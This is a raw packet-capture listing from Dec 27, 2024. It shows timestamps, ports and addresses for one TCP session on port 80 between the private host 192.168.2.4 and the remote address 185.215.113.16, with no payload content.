Dec 27, 2024 09:01:45.704248905 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.705384970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.705461979 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.705526114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.706617117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.706806898 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.706866980 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.707801104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.707878113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.709012985 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.709116936 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.709161043 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.709208012 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.710227013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.710284948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.710326910 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.711528063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.711688995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.711739063 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.712888956 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.712904930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.712945938 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.713928938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.714051008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.714095116 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.715100050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.715267897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.715320110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.716370106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.716453075 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.716527939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.717583895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.717672110 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.717721939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.718765974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.718926907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.718978882 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.720422029 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.720434904 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.720478058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.721235991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.721303940 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.721405029 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.722425938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.722553968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.722610950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.724611998 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.724626064 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.724667072 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.724880934 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.724971056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.725045919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.726469040 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.726553917 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.726620913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.727359056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.727550983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.727592945 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.728676081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.728688955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.728785038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.729787111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.729851961 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.729913950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.731019020 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.731107950 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.732191086 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.732206106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.732295036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.732341051 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.733402967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.733541012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.733720064 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.735551119 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.735563993 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.735618114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.735843897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.735996962 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.736037970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.737196922 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.737273932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.737952948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.738308907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.738409996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.738456011 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.739546061 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.739666939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.739722013 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.740828991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.740843058 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.740897894 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.741981030 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.742074013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.742131948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.743165016 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.743323088 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.744407892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.744414091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.744493008 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.744597912 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.745624065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.745732069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.745783091 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.746865034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.747021914 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.747122049 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.748069048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.748204947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.748243093 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.748764038 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.749350071 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.749501944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.749720097 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.750588894 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.750601053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.750646114 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.751733065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.751871109 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.752504110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.752953053 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.753103018 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.753151894 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.754198074 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.754266024 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.754317999 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.755490065 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.755502939 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.755567074 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.756619930 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.756726980 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.756783009 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.757864952 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.757956982 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.758023977 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.759076118 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.759193897 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.759253025 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.760267973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.760380983 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.761493921 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.761564970 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.761596918 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.761677027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.762722969 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.762839079 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.762903929 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.763971090 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.764143944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.764195919 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.765149117 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.765268087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.765867949 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.767265081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.806714058 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.894582987 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.894828081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.894889116 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.895350933 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.895549059 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.895607948 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.896358967 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.896475077 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.896524906 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.897885084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.897898912 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.897941113 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.898973942 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.900360107 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.900373936 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.900386095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.900417089 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.900444984 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.901499033 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.901511908 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.901556015 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.902522087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.902590036 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.902637959 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.903785944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.903811932 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.903851986 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.904891968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.905013084 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.905071020 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.905369043 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.906179905 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.906232119 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.906286955 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.907357931 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.907468081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.908055067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.908704996 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.908773899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.908826113 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.909776926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.909925938 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.909986019 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.911118031 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.911137104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.911183119 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.912317991 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.912331104 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.912388086 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.913490057 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.913552999 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.913597107 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.914727926 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.914807081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.914855003 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.915915012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.916027069 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.916084051 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.917150974 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.917216063 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.917345047 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.918425083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.918567896 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.918620110 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.919621944 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.919672966 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.919718027 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.920239925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.921145916 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.921298027 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.921943903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.922063112 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.922110081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.922795057 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.923270941 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.923362970 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.923399925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.924429893 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.924618006 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.924671888 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.925661087 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.925839901 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.925883055 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.926985025 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.926997900 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.927030087 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.928155899 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.928251028 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.928294897 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.929310083 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.929447889 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.929492950 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.930634975 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.930685997 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.930757999 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.932450056 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.932461977 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.932503939 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.933089972 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.933101892 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.933145046 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.934189081 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.934292078 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.934336901 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.935472012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.935539007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.935587883 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.936702013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.936713934 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.936763048 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.937993050 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.938005924 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.938043118 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.939150095 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.939213037 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.939261913 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.940282106 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.940440893 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.940485001 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.941518068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.941653013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.941704035 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.942765951 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.942862034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.942905903 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.944044113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.944056034 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.944101095 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.945204973 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.945302963 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.945346117 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.946414948 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.946562052 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.946608067 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.947648048 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.947824001 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.947871923 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.948908091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.948997021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.949040890 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.950056076 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.950226068 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.950295925 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.951308012 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.951400995 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.952368975 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.952738047 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.952753067 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.953260899 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.953921080 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.953936100 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.953999996 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.955586910 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.955606937 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.955652952 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.956372023 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.956386089 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.956439018 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.957863092 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.957878113 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.957912922 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:45.958647013 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:45.964863062 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.137406111 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.137501955 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.137568951 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.138072968 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.138199091 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.138245106 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.139271021 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.139283895 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.139332056 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.140403032 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.140415907 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.140458107 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.141731977 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.141916990 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.141963005 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.143018007 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.143230915 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.143275023 CET	49876	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:46.143954039 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.143968105 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.143979073 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.143991947 CET	80	49876	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:46.144002914 CET	49876	80	192.168.2.4	185.215.113.16
